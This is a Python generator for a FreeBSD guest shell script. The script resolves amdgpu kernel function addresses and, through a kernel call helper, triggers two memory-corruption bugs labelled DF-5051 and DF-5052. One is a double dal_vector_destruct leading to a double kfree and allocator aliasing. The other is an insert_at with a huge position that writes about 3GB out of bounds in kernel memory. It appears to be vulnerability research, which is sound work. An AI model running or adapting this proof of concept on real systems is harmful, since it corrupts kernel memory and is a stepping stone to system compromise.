#!/usr/bin/env python3
"""Generate the guest-side DF-5051/DF-5052 run script with addresses
computed from the current boot's amdgpu base."""
import sys

BASE = sys.argv[1].replace("0x", "").lower()
OFF_CREATE = "11d070"
OFF_DESTRUCT = "11d120"
OFF_INSERT = "11d2b0"

SYSENT = "FFFFFFFF810CB880"
BCOPY = "FFFFFFFF80BCA6A0"
STRLEN = "FFFFFFFF809D7740"
VERSION = "FFFFFFFF81144960"
KMALLOC = "FFFFFFFF80656DC0"
MTEMP = "FFFFFFFF810D99C0"

def fn(off):
    v = int(BASE, 16) + int(off, 16)
    return "%016X" % (v & 0xFFFFFFFFFFFFFFFF)

CREATE, DESTRUCT, INSERT = fn(OFF_CREATE), fn(OFF_DESTRUCT), fn(OFF_INSERT)

script = f"""#!/bin/sh
# Auto-generated for amdgpu base 0x{BASE}
set -u
KV=/root/kv
CREATE={CREATE}
DESTRUCT={DESTRUCT}
INSERT={INSERT}
VERSION={VERSION}
KMALLOC={KMALLOC}
MTEMP={MTEMP}

echo "=== kernel: $(sysctl -n kern.version | head -1)"
kldstat | grep amdgpu
echo "computed: create=0x$CREATE destruct=0x$DESTRUCT insert=0x$INSERT"

echo "=== T1 sanity: strlen(version)"
R=$($KV call {STRLEN} $VERSION)
echo "strlen(version) = $R"

echo "=== T3 dal_vector_create(NULL, 4, 16)"
V=$($KV call $CREATE 0 4 10)
echo "vector = $V"
echo "vector struct {{container,struct_size,count,capacity,ctx}}:"
KV_BCOPY={BCOPY} $KV kread $V 32

echo "=== T4 sanity insert_at(position=0),(position=1)"
R0=$($KV call $INSERT $V $VERSION 0); echo "insert@0 -> $R0"
R1=$($KV call $INSERT $V $VERSION 1); echo "insert@1 -> $R1"
KV_BCOPY={BCOPY} $KV kread $V 32

echo "=== DF-5052: double dal_vector_destruct -> double kfree"
$KV call $DESTRUCT $V >/dev/null; echo "destruct #1 done:"
KV_BCOPY={BCOPY} $KV kread $V 32
echo "destruct #2 ..."
$KV call $DESTRUCT $V >/dev/null; echo "destruct #2 returned (DOUBLE kfree accepted)"
A=$($KV call $KMALLOC 40 $MTEMP 0)
B2=$($KV call $KMALLOC 40 $MTEMP 0)
echo "re-alloc A=$A B=$B2"
if [ "$A" = "$B2" ]; then echo "DF-5052 CONFIRMED: aliasing"; else echo "allocs distinct"; fi

echo "=== DF-5051: fresh vector + insert_at(position=0x0C000000)"
V2=$($KV call $CREATE 0 4 10)
echo "vector2 = $V2"
echo "calling insert_at(v2, version, 0x0C000000) (+3GB OOB write)..."
R2=$($KV call $INSERT $V2 $VERSION 0C000000)
echo "SURVIVED (unexpected) retval=$R2"
echo "=== done"
"""
open("/tmp/opencode/run_gen.sh", "w").write(script)
print(f"create={CREATE} destruct={DESTRUCT} insert={INSERT}")
